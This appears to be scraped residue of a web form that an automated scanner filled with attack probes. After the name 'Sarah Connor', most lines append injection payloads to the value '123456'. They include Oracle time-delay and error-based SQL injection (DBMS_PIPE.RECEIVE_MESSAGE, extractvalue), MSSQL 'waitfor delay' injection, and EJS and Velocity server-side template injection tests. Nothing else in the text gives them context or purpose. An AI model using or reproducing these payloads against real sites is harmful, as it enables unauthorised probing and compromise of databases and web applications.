Sarah Connor

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('z',2)='z

123456'and/**/extractvalue(1,concat(char(126),md5(1257496641)))and'

123456

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('l',0)='l

123456

123456

123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('e',2)

123456

123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('z',0)

123456

123456'and(select+1)>0waitfor/**/delay'0:0:2

123456

<%- 845591603+961560159 %>

123456'and(select+1)>0waitfor/**/delay'0:0:0

123456

123456

#set($c=948924537+987948434)${c}$c

123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

123456

123456